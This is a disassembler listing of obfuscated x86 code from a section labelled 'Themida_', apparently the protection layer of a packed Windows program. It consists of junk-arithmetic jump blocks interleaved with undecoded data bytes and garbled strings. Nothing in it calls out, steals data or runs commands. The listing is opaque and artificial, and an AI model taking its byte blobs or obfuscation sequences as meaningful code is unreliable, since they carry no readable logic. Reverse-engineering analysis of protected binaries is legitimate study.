		dd 7714C281h, 0E95E4FFEh, 0FFFFE383h, 6A40B951h, 8EE92676h
		dd 81FFFF3Dh, 4C4h, 4C48300h, 9BEF814Fh, 895C9624h, 0F3015FFEh
		dd 8124348Bh, 4ECh, 0B0F7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A7D6:				; CODE XREF: Themida_:00562C2Fj
		xchg	ebx, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 63556042h
		push	eax
		jmp	loc_5621C8
; ---------------------------------------------------------------------------

loc_56A7F2:				; CODE XREF: Themida_:0055E2E9j
		xor	ecx, 6E56748Dh
		push	eax
		mov	eax, 71B24819h
		jmp	loc_56CEBC
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 0DEDh, 54242C89h,	5D2434FFh, 3149E9h, 24248B00h
		dd 4EC81h, 4890000h, 0E9585424h, 0FFFF7E85h, 0E904ECC0h
		dd 0FFFF47FFh, 1960C5BAh, 8BD3894Ah, 0C4832414h, 0FBE98104h
		dd 12CD92Eh, 8585E9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A84E:				; CODE XREF: Themida_:00558D31j
		pop	ebx
		add	esp, 4
		push	4422h
		jmp	loc_55D097
; ---------------------------------------------------------------------------
		dd 24048966h, 0FEE212E9h, 263B9FFh, 39E92428h, 51FFFF77h
		dd 193ABF57h, 0F7814A0Fh, 5200657Bh, 3C8BF989h,	4C48324h
		dd 8959CB29h, 0EA815BDEh, 4FFE7714h, 0FFFF05E9h, 2434FFFFh
		dd 8B2434FFh, 54572404h, 1E03E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A8A6:				; CODE XREF: Themida_:0056325Bj
		pop	ecx
		push	ebx
		jmp	loc_5676E6
; ---------------------------------------------------------------------------

loc_56A8AD:				; CODE XREF: Themida_:0055F4DAj
		mov	esp, [esp]
		shr	eax, 8
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	31DFh
		mov	[esp], edx
		jmp	loc_55CE09
; ---------------------------------------------------------------------------
		dd 0E92EF480h, 0FFFFA3D2h, 8959CE29h, 0ED815EF7h, 7F713DCEh
		dd 0C581FD01h, 7F713DCEh, 3F4B685Fh, 2C890000h,	2474FF24h
		dd 8EE95D04h, 83FFFF3Bh, 0A2E904C4h, 83FFFFEEh,	0EC8304C4h
		dd 241C8904h, 0FFD12EE9h, 0C4815DFFh, 4, 0B7EA815Dh, 2962135Ch
		dd 0B7C281CAh, 5962135Ch, 148BD001h, 4C48124h, 83000000h
		dd 0FF5002C0h, 8B042474h, 0C4812404h, 4, 5C24048Fh, 4A30F66h
		dd 3DE99C24h, 5EFFFEDFh, 66C30166h, 0B8BF6657h,	0FB296601h
		dd 52665F66h, 0FFC8B6E9h, 0B6E95BFFh
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56A96B:				; CODE XREF: Themida_:00567783j
		or	edx, 393C6B97h
		jmp	loc_562B33
; ---------------------------------------------------------------------------

loc_56A976:				; CODE XREF: Themida_:0055A275j
		sub	edx, edi
		pop	edi
		shl	edx, 4
		and	edx, 6665116Ah
		push	ecx
		mov	ecx, 3F470A0Ch
		and	edx, ecx
		pop	ecx
		not	edx
		add	edx, 10005h
		jmp	loc_55C3AC
; ---------------------------------------------------------------------------

loc_56A998:				; CODE XREF: Themida_:005649FEj
		pop	ebx
		xor	ebp, 6C2668E2h
		neg	ebp
		sub	ebp, 54B5450h
		add	ebp, 0FFFFFFFFh
		jmp	loc_56A1D5
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FEF9EBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A9B5:				; CODE XREF: Themida_:0056BBC1j
		mov	esi, [esp]
		push	ebp
		jmp	loc_5640C0
; ---------------------------------------------------------------------------

loc_56A9BE:				; CODE XREF: Themida_:0056D5A8j
		mov	edx, [esp]
		add	esp, 4
		add	ch, 5Ah
		shr	ch, 8
		shl	ch, 3
		push	eax
		mov	ah, 70h
		sub	ah, 0D4h
		xor	ch, ah
		jmp	loc_55B4CE
; ---------------------------------------------------------------------------
		db 0BDh, 47h, 71h
		dd 0E8012DF1h, 0FFBA49E9h, 2B9FFh, 0ED810000h, 40560A80h
		dd 0C581CD01h, 40560A80h, 74FF5559h, 0E95D0424h, 0FFFF12E9h
		dd 8CBE565Dh, 0E927207Bh, 0BE6h, 5497EE81h, 815819DBh
		dd 4ECh, 240C8900h, 268h, 15B1E900h, 0F004FFFFh, 515B2D2Ch
		dd 219368h, 24148900h, 0FEE178E9h, 0BDCA81FFh, 0C1731905h
		dd 0E95705E2h, 2690h, 47E9FB89h, 58FFFEFBh, 4B7FE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AA5E:				; CODE XREF: Themida_:0055FBC4j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 2
		xchg	ecx, [esp]
		jmp	loc_564C4E
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0D7h
		dd 5352E641h, 839107BBh, 5BDE2935h, 0FF9B06E9h,	0E9C501FFh
		dd 0FFFFCCFCh, 0DDFAE959h, 0EC81FFFEh, 4, 0F7243489h, 90E92414h
		dd 1FFFEFEh, 81082474h,	13082444h, 8151AF41h, 98082444h
		dd 8B112738h, 0C4812434h, 4, 1627BD55h,	6C0118F0h, 15D0824h
		dd 81042454h, 2704246Ch, 8118F016h, 5A04246Ch, 5A31E816h
		dd 81240C8Bh, 4C4h, 4C18100h, 81000000h, 4ECh, 242C8900h
		dd 42596852h, 815A4672h, 72425BF2h, 5AD58946h, 0E95DE901h
		dd 0FFFF1D95h
; ---------------------------------------------------------------------------

loc_56AB10:				; CODE XREF: Themida_:0055B1AAj
		mov	ebp, 7589429Ah
		shr	ebp, 4
		or	ebp, 5BB37EFDh
		jmp	loc_55F853
; ---------------------------------------------------------------------------

loc_56AB23:				; CODE XREF: Themida_:0056B1E0j
		mov	ebx, 2B253EB0h
		or	eax, ebx
		jmp	loc_560538
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0C9DE9h, 4C38300h, 0FF016CE9h, 51D5F7FFh, 0CA199AB9h
		dd 4E1C147h, 9C1EC181h,	0FDE9A15Ah, 53FFFFE2h, 0FF9580E9h
		dd 243C31FFh, 5C243C33h, 0E788E952h, 8B66FFFFh,	168240Ch
		dd 89000072h, 0E789243Ch, 4C781h, 0EC810000h, 4, 52242C89h
		dd 65F1B68h, 24148B1Bh,	4C481h,	0C2810000h, 2E3F7A78h
		dd 6C1D68h, 0D81AE900h,	0F381FFFFh, 0E5F4B71h, 0FFDA0158h
		dd 815B2434h, 4C4h, 4C28100h, 87000000h, 248B2414h, 595E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56ABC6:				; CODE XREF: Themida_:00561FBEj
		shl	ecx, 1
		push	edx
		mov	edx, 5BE76EC5h
		or	edx, 140D6CA7h
		jmp	loc_55DEF1
; ---------------------------------------------------------------------------
		db 87h,	0CBh, 57h
		dd 0FFF193E9h, 0E9C131FFh, 0FFFFDA78h
; ---------------------------------------------------------------------------

loc_56ABE8:				; CODE XREF: Themida_:00569A18j
		sub	bl, 0C6h
		add	bl, ah
		add	bl, 0C6h
		pop	eax
		jmp	loc_5623F6
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 1FA03D6Ah, 0FFC1A3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56AC01:				; CODE XREF: Themida_:00561333j
		pop	eax
		pop	ecx
		xor	ecx, 6FD969FFh
		mov	edx, [esp]
		push	3A30h
		jmp	loc_561276
; ---------------------------------------------------------------------------

loc_56AC16:				; CODE XREF: Themida_:0056C156j
		sub	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, ebp
		push	eax
		push	52B7h
		mov	[esp], esi
		mov	esi, 525F50D2h
		add	dword ptr [esp+4], 7549149Bh
		add	[esp+4], esi
		push	41BFh
		mov	[esp], ecx
		mov	ecx, 7549149Bh
		jmp	loc_5613AD
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 4, 875FFB29h, 835C241Ch,	8F5404ECh, 4812404h
		dd 424h, 24048F00h, 4EC81h, 0C890000h, 5D6DB924h, 0D9F77A05h
		dd 5D71C181h, 4C017A05h, 0FF590424h, 815F2434h,	4C4h, 0C8BD5500h
		dd 8161986Ch, 3EA1CDh, 66E5816Ch, 685B5931h, 6F7Ah, 0E9241489h
		dd 0FFFEF80Eh
; ---------------------------------------------------------------------------

loc_56ACAC:				; CODE XREF: Themida_:0055A7FEj
		not	edx
		xor	edx, 0D93DC884h
		add	ecx, edx
		pop	edx
		jmp	loc_55EB5D
; ---------------------------------------------------------------------------
		dd 33243C31h, 3C31243Ch, 4EC8124h, 0E9000000h, 0FFFF5A16h
		dd 0FEDBB7E9h, 4C483FFh, 4C581h, 56570000h, 9362E4BEh
		dd 0F77CE975h, 8B66FFFEh, 4468240Ch, 8900003Eh,	0E68242Ch
		dd 89000056h, 4812424h,	424h, 2434FF00h, 0E9242C8Bh, 31A4h
		dd 8B2434FFh, 0C4812404h, 4, 0B46EE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AD22:				; CODE XREF: Themida_:00564A0Fj
		add	edx, 0FFF3E351h
		or	eax, edx
		pop	edx
		add	eax, 72E964BBh
		add	edi, eax
		pop	eax
		add	edi, 0CBE6F213h
		jmp	loc_56A59F
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54532404h, 0FF710AE9h, 240409FFh, 0DB3AE99Ch, 0E181FFFEh
		dd 7FDB3EF4h, 9DC18149h, 812B747Ch, 1153C9F1h, 2BC3E91Ch
		dd 0C0680000h, 89000008h, 4832424h, 7E90424h, 81FFFF66h
		dd 132B0EEBh, 1D9CE957h, 0E981FFFFh, 1321757Fh,	0A1E95253h
		dd 5BFFFFFAh, 0FF5E91E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56AD99:				; CODE XREF: Themida_:00559628j
		inc	ebx
		jmp	loc_564CC2
; ---------------------------------------------------------------------------
		db 81h
		dd 38360AF5h, 2124E96Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56ADAA:				; CODE XREF: Themida_:0055B43Bj
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		db 0B8h
		dd 745978C0h, 815E5456h, 4C6h, 8EB85000h, 5684754h, 5AD026F0h
		dd 177B7A2Dh, 58C629C3h, 5C243487h, 2094E9h, 241C8B00h
		dd 0A8E95451h, 0F6FFFFBAh, 80C2FED2h, 0C2FECBF2h, 0E998C280h
		dd 2483h, 24048F5Fh, 6624248Bh,	0E9241489h, 0FFFF8135h
		dd 0C3A7C9BDh, 8BFD0134h, 0C481243Ch, 4, 0B01AE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AE1A:				; CODE XREF: Themida_:0055CC29j
		mov	eax, 0A129EDAAh
		add	eax, ecx
		jmp	loc_56C46E
; ---------------------------------------------------------------------------
		dw 5150h
		dd 6B0C0B1h, 94E9C800h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AE33:				; CODE XREF: Themida_:0056D6F6j
		push	ecx
		mov	cl, 4Dh
		xor	bl, cl
		pop	ecx
		add	bl, 80h
		sub	al, bl
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	5F89h
		mov	[esp], ecx
		mov	cl, 0DBh
		neg	cl
		jmp	loc_559B94
; ---------------------------------------------------------------------------

loc_56AE59:				; CODE XREF: Themida_:0056DA2Cj
		push	ecx
		mov	ecx, 6C77B88h
		mov	edx, 73204F48h
		xor	edx, ecx
		pop	ecx
		shl	edx, 5
		sub	edx, 0FFFFFFFFh
		inc	edx
		xor	edx, 0B34AB455h
		push	edx
		sub	dword ptr [esp], 4A415111h
		pop	ebp
		add	ebp, 4A415111h
		pop	edx
		jmp	loc_567BD9
; ---------------------------------------------------------------------------

loc_56AE8C:				; CODE XREF: Themida_:0056D72Fj
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		push	6E5Eh
		mov	[esp], ecx
		jmp	loc_55C855
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 0EDC8F181h, 0CB31EB41h, 5BDD0159h, 0F878E953h, 5EB5FFFEh
		dd 28FAEB80h, 867FE9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AEBE:				; CODE XREF: Themida_:0056158Ej
		not	esi
		jmp	loc_563800
; ---------------------------------------------------------------------------
		db 1, 0EBh, 5Dh
		dd 0FFBC3BE9h, 0BB6850FFh, 89000046h, 5152240Ch, 8B2ABB1h
		dd 0E959CA30h, 0FFFF6630h, 0CB288DB3h, 83240C8Bh, 6A2C04C4h
		dd 0FF2B0EE9h, 24048BFFh, 0E904C483h, 0FFFED98Ch
; ---------------------------------------------------------------------------

loc_56AF00:				; CODE XREF: Themida_:0056CADCj
		pop	ebx
		jmp	loc_560FCD
; ---------------------------------------------------------------------------
		dw 0D366h
		dd 0E99C240Ch, 0FFFED97Ch, 0C5009E34h, 0B9ED8058h, 0FF1E06E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56AF1D:				; CODE XREF: Themida_:00565FEBj
		push	ecx
		mov	ch, 22h
		push	edx
		jmp	loc_56D5A1
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 5102EAC1h, 0FEEE44E9h, 4BDFFh, 0EE010000h, 1B65E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56AF3E:				; CODE XREF: Themida_:0055E6CAj
		push	3F66h
		mov	[esp], esi
		jmp	loc_55C92E
; ---------------------------------------------------------------------------

loc_56AF4B:				; CODE XREF: Themida_:00566313j
		sub	bh, 60h
		jmp	loc_55DA1F
; ---------------------------------------------------------------------------
		db 89h
		dd 3FE95DEFh, 50FFFF3Ch, 80348FB8h, 2FD13553h, 0C68939B0h
		dd 97EE8158h, 0E96A4A54h, 0FFFF6109h
; ---------------------------------------------------------------------------

loc_56AF74:				; CODE XREF: Themida_:0055C9F7j
		push	ebp
		mov	ebp, esp
		jmp	loc_5635C2
; ---------------------------------------------------------------------------
		dd 5224248Bh, 0FF43BDE9h, 0E9D989FFh, 0FFFFFE4Dh
; ---------------------------------------------------------------------------

loc_56AF8C:				; CODE XREF: Themida_:00562449j
		push	esi
		mov	esi, 5B66376Ch
		jmp	loc_56C9BC
; ---------------------------------------------------------------------------
		db 28h
		dd 0E25BE9CCh, 0C781FFFFh, 4, 8704C783h, 0E95C243Ch, 0FFFFE112h
; ---------------------------------------------------------------------------

loc_56AFB0:				; CODE XREF: Themida_:0055CEE7j
		not	ecx
		inc	ecx
		or	ecx, 2C4406F2h
		sub	ecx, 1
		xchg	ebp, ecx
		neg	ebp
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ecx, 12185683h
		add	eax, 65847684h
		sub	eax, ecx
		sub	eax, 65847684h
		jmp	loc_558C9F
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 0C1h
		dd 80FFC380h, 0D3F676EBh, 5250D3F6h, 75E9C5B6h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AFF3:				; CODE XREF: Themida_:0055BD16j
		sub	[esp], eax
		pop	eax
		jmp	loc_56665B
; ---------------------------------------------------------------------------

loc_56AFFC:				; CODE XREF: Themida_:0055B0D8j
		push	ebp
		mov	ebp, 6E8B0B46h
		or	ebp, 72F81C2Ah
		inc	ebp
		or	ebp, 17187658h
		sub	ebp, 4A243963h
		mov	eax, ebp
		pop	ebp
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_564704
; ---------------------------------------------------------------------------
		db 2Ch,	0CBh, 0
		dd 59CB04E8h, 0B652D828h, 0BEEE80ACh, 0BDB05066h, 5866C600h
		dd 148BF028h, 9875E924h, 0F029FFFFh, 0FFA256E9h, 4C681FFh
		dd 87000000h, 8B5C2434h, 0C4832404h, 0E9595B04h, 0FFFFDA01h
		dd 3EEC059h, 0DFF6FE86h, 0F9885166h, 88F08850h,	0CE8858C7h
		dd 0C6805966h, 0E9F0005Fh, 0FFFEDAD0h, 4C481h, 4B680000h
		dd 0E9000071h, 0FFFF8CC6h
; ---------------------------------------------------------------------------

loc_56B094:				; CODE XREF: Themida_:0056C3CFj
		add	esp, 4
		jmp	loc_558B37
; ---------------------------------------------------------------------------

loc_56B09F:				; CODE XREF: Themida_:00569384j
		push	ebx
		mov	ebx, 44913A51h
		or	ebx, 46114E16h
		dec	ebx
		and	ebx, 45975976h
		sub	ebx, 194CFA09h
		jmp	loc_56CD8F
; ---------------------------------------------------------------------------
		db 68h,	7Bh, 10h
		dd 3C890000h, 89E95624h, 89FFFEE9h, 4C181E1h, 83000000h
		dd 0C8704C1h, 0EA835C24h, 24148704h, 2414895Ch,	57555A54h
		dd 0AF3EC268h, 0D4685F7Bh, 8900005Ch, 60BB241Ch, 573EB948h
		dd 0FEDE12E9h, 0ADE953FFh, 52FFFF21h, 0FFD3B6E9h, 55EBD1FFh
		dd 0FF19AFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B115:				; CODE XREF: Themida_:00562A84j
		sub	edx, 6EC93A86h
		sub	ebp, 0DB96BC6h
		add	ebp, edx
		add	ebp, 0DB96BC6h
		pop	edx
		push	ecx
		mov	ecx, 4
		jmp	loc_564E29
; ---------------------------------------------------------------------------

loc_56B135:				; CODE XREF: Themida_:00562156j
		mov	edx, 4796431Fh
		add	edx, 0BD53D5BCh
		jmp	loc_566F7C
; ---------------------------------------------------------------------------

loc_56B145:				; CODE XREF: Themida_:00561990j
		sub	ecx, 51DC35F5h
		push	esi
		jmp	loc_5603C2
; ---------------------------------------------------------------------------

loc_56B151:				; CODE XREF: Themida_:0056827Aj
		add	ebx, ecx
		pop	ecx
		push	ebp
		push	esi
		mov	esi, 0E4005CEh
		push	ebx
		mov	ebx, 688D0DC2h
		mov	ebp, 0D5DE0831h
		add	ebp, ebx
		pop	ebx
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, 1481612h
		jmp	loc_566F08
; ---------------------------------------------------------------------------
		db '\h¼+',0
		align 2
		dw 2C89h
		dd 16824h, 34FF0000h, 0E9BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56B192:				; CODE XREF: Themida_:0055F451j
		pop	ebx
		jmp	loc_567A53
; ---------------------------------------------------------------------------
		dd 0E1E92234h, 89FFFF67h, 0E5815AD5h, 58B6444Eh, 0ED61C581h
		dd 8155035Dh, 7B16242Ch, 0E95858E0h, 0FFFFCB6Dh
; ---------------------------------------------------------------------------

loc_56B1BC:				; CODE XREF: Themida_:005595C7j
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_562A61
; ---------------------------------------------------------------------------

loc_56B1CA:				; CODE XREF: Themida_:0055A68Fj
		pop	ecx
		push	eax
		mov	eax, 108F6A34h
		not	eax
		xor	eax, 24C218Eh
		push	34B4h
		mov	[esp], ebx
		jmp	loc_56AB23
; ---------------------------------------------------------------------------

loc_56B1E5:				; CODE XREF: Themida_:005629BCj
		xor	esi, [esp]
		jmp	loc_56D014
; ---------------------------------------------------------------------------

loc_56B1ED:				; CODE XREF: Themida_:00560763j
		push	543A3D99h
		pop	edx
		or	edx, 563112D0h
		not	edx
		inc	edx
		jmp	loc_559649
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0E9520000h, 0FFFF5C59h
; ---------------------------------------------------------------------------

loc_56B20C:				; CODE XREF: Themida_:00568D1Fj
		add	ecx, edi
		jmp	loc_559148
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 4245C01h,	1E5FE9h, 1886800h, 0F75A6278h, 0E9514ADAh
		dd 0FFFF153Dh, 24048B5Dh, 4C481h, 3C870000h, 24248B24h
		dd 9C240420h, 0FED643E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B249:				; CODE XREF: Themida_:00560819j
		shr	edi, 6
		add	edi, 0F2770DDCh
		xor	eax, edi
		pop	edi
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5615DF
; ---------------------------------------------------------------------------
		dd 5555E956h, 535EFFFFh, 324B6CBBh, 8BD82116h, 0C483241Ch
		dd 46456804h, 1C890000h, 47F8BB24h, 0E9524689h,	0FFFF41C2h
		dd 0CD78CEB8h, 0FFC10172h, 8EE92434h, 5DFFFEE0h, 4C581h
		dd 0ED810000h, 4, 57F2E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B2B6:				; CODE XREF: Themida_:0056DC66j
		add	esp, 4
		add	ebp, 0BB7640Ah
		add	ebp, edi
		sub	ebp, 0BB7640Ah
		pop	edi
		jmp	loc_563BDF
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C281h, 86E90000h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_56B2DB:				; CODE XREF: Themida_:005661F4j
		pop	esi
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	77C8h
		mov	[esp], esi
		jmp	loc_56DC72
; ---------------------------------------------------------------------------

loc_56B2FA:				; CODE XREF: Themida_:0055964Fj
		push	ebp
		mov	ebp, 5E9B6475h
		inc	ebp
		sub	ebp, 122F43D2h
		or	ebp, 5D3B532Ah
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		jmp	loc_5663E0
; ---------------------------------------------------------------------------
		dd 4244401h, 0FEF8F8E9h, 5861BEFFh, 55570A40h, 0FFFFFFBDh
		dd 4B5E9FFh, 0F1810000h, 79A62A68h, 0E959CA01h,	0FFFF415Fh
		dd 31243C33h, 3C33243Ch, 0BBFE924h, 0E9570000h,	0FFFFF423h
		dd 58240CFFh, 8AFF3540h, 0BD55116Eh, 57DC1CAAh,	0FF3E99E9h
		dd 0D5F74DFFh, 1FBECD81h, 0C5817F09h, 42C746C1h, 901E951h
		dd 248BFFFFh, 2424D324h, 0FED503E9h, 241C89FFh,	0FEF472E9h
		dd 4EC83FFh, 0E9242C89h, 1312h,	576CF281h, 0E95781F5h
		dd 0FFFFC659h
; ---------------------------------------------------------------------------

loc_56B3A8:				; CODE XREF: Themida_:0055BA36j
		pop	ebp
		jmp	loc_55FB4D
; ---------------------------------------------------------------------------

loc_56B3AE:				; CODE XREF: Themida_:0056CE33j
		mov	edi, 6C2720E6h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55F8F6
; ---------------------------------------------------------------------------
		dd 2C481h, 0B4E90000h, 0C1FFFF14h, 0CE8106EEh, 209C136Fh
		dd 91E7EE81h, 0F7290E6Eh, 0DF015A5Eh, 0FFAC0BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B3E5:				; CODE XREF: Themida_:005640ADj
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_569694
; ---------------------------------------------------------------------------

loc_56B3F1:				; CODE XREF: Themida_:0056A6BBj
		not	edx
		xchg	edx, ecx
		jmp	loc_565CA3
; ---------------------------------------------------------------------------

loc_56B3FA:				; CODE XREF: Themida_:0056673Aj
		pop	edi
		pop	esi
		sub	esi, 39A01054h
		jmp	loc_56BDFC
; ---------------------------------------------------------------------------
		db 20h
		dd 0F2805BDAh, 2322E981h, 89570000h, 4C781E7h, 81000000h
		dd 4EFh, 1315E900h, 0B5510000h,	12E58018h, 0FE0AB353h
		dd 4C3BE9CBh, 0E280FFFFh, 0F8F280C9h, 8D049804h, 8D2CD028h
		dd 7ABFE951h, 2D5EFFFFh, 9064031h, 0E5E9D801h, 0BE000007h
		dd 4F29174Ch, 0FFC531E9h, 241487FFh, 8124248Bh,	4C7h, 87E95000h
		dd 81FFFF8Bh, 4C2h, 5D3AE900h, 8B66FFFFh, 0C481240Ch, 2
		dd 346568h, 24148900h, 0D388E288h, 0FEF631E9h, 41E981FFh
		dd 0E9061FC2h, 0FFFFCAC2h
; ---------------------------------------------------------------------------

loc_56B4A4:				; CODE XREF: Themida_:005618DBj
		push	ebx
		mov	ebx, 6A941437h
		shl	ebx, 6
		shr	ebx, 3
		push	eax
		mov	eax, 716E56B4h
		shr	eax, 5
		jmp	loc_56CA91
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 15EC0A23h, 24343359h, 33243431h, 248B2434h, 2C4EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B4D6:				; CODE XREF: Themida_:00569C33j
		sub	edx, 672567Fh
		xor	edx, 985D5627h
		mov	eax, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		not	eax
		push	edi
		push	eax
		jmp	loc_5641B0
; ---------------------------------------------------------------------------

loc_56B503:				; CODE XREF: Themida_:00564B37j
		sub	edx, 98442E5h
		sub	edx, eax
		add	edx, 98442E5h
		push	ecx
		push	ebp
		mov	ebp, 208316D5h
		push	eax
		mov	eax, 11732E14h
		add	eax, 252D17CCh
		and	ebp, eax
		pop	eax
		shr	ebp, 4
		jmp	loc_56A3AB
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0F813E924h, 77B9FFFFh, 0E902E76Ah, 0FFFF563Eh
; ---------------------------------------------------------------------------

loc_56B540:				; CODE XREF: Themida_:00565A0Dj
		xor	edi, 553A0A69h
		shl	edi, 2
		add	edi, 2AFB0F23h
		push	edi
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56C989
; ---------------------------------------------------------------------------
		db 81h
		dd 4EDh, 242C8700h, 2414895Ch, 53B868h,	66C5E900h, 0F5CFFFFh
		dd 0AE9C0B7h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B57F:				; CODE XREF: Themida_:005684FEj
		mov	eax, [esp]
		jmp	loc_56BA5A
; ---------------------------------------------------------------------------
aRW		db 'RºÆ<w',0
aW		db '¹Ê<w',0
		dw 0D129h
		dd 59CF015Ah, 46855h, 48E90000h, 52FFFFDCh, 395242BAh
		dd 5AD3295Fh, 0FFBEF6E9h, 4EC83FFh, 81242489h, 42404h
		dd 68590000h, 6DA2h, 68243489h,	4, 0FFE9F2E9h, 7B685BFFh
		dd 89000046h, 6851243Ch, 2D5F50EDh, 57240C8Bh, 0C781E789h
		dd 4, 8704C783h, 0F75C243Ch, 0F696E9D9h, 0F721FFFEh, 0FF545AE9h
		dd 4C681FFh, 83000000h,	1C8904ECh, 46824h, 34FF0000h, 60E95B24h
		dd 53FFFF0Fh, 0FF64A3E9h, 728605FFh, 0D8293673h, 7372862Dh
		dd 59E95B36h, 89FFFED2h, 1CF3E9E2h, 8142FFFFh, 1C2h, 0EA834A00h
		dd 0E9F28101h, 5238201Fh, 0FFCC05E9h, 241C89FFh, 0C381E389h
		dd 4, 0E904C383h, 0FFFEDE14h
; ---------------------------------------------------------------------------

loc_56B664:				; CODE XREF: Themida_:005640CEj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5596CA
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324048Bh, 0FE6804C4h, 8900005Fh, 0EDE92434h, 66FFFF54h
		dd 68C8BE0Fh, 4F88h, 0E9241489h, 0FFFF20F2h, 8034B353h
		dd 0D3F62ACBh, 880DEB80h, 0D0005BDAh, 0D8005A66h, 5B66B42Ch
		dd 30E968h, 241C8900h, 4EC81h, 4890000h, 7E95224h, 6600000Ah
		dd 6824048Bh, 7ECEh, 0FF82A5E9h, 2849BBFFh, 4CE937C8h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B6DB:				; CODE XREF: Themida_:00569800j
		push	dword ptr [esp]
		jmp	loc_56C4B2
; ---------------------------------------------------------------------------
aFxaGqJpL	db 8,'ÇfX€ÇƒQµ†P´L',0
		db 0E5h, 58h, 2Ch
		dd 5BCCE96Ah, 3C89FFFFh, 4EC8124h, 89000000h, 6856240Ch
		dd 196A728Dh, 89C6815Eh, 894F71ECh, 81515EF1h, 40B2404h
		dd 0B0E96907h, 66000027h, 0D83166ADh, 4BEC6866h, 242C8966h
		dd 4EC81h, 1C890000h, 7EE95224h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B73F:				; CODE XREF: Themida_:00562CAFj
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	15AAh
		jmp	loc_55B617
; ---------------------------------------------------------------------------
		db 31h
		dd 240C8BCAh, 81E68956h, 4C6h, 4C68300h, 0FF8D09E9h, 4C481FFh
		dd 58000000h, 0ED4C4B35h, 2434FF73h, 0FF9BA9E9h, 8BEA80FFh
		dd 0E9EA80h, 0C3805AD3h, 0E9682C26h, 0FFFF9157h, 268h
		dd 1E95A00h
		db 14h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B79B:				; CODE XREF: Themida_:0056B7C2j
		xchg	edx, [esp]
		jmp	loc_565558
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 0E9000000h, 0FFFF824Ch, 290CEB81h,	0C3296462h
		dd 6294E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B7BE:				; CODE XREF: Themida_:005627C4j
		pop	ecx
		sub	edx, eax
		pop	eax
		jmp	loc_56B79B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 6114E904h, 0C681FFFFh, 3271452Eh, 0BB53C601h
		dd 3271452Eh, 0A1E9DE29h, 89FFFF77h, 79D2E9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B7EE:				; CODE XREF: Themida_:0055CC4Dj
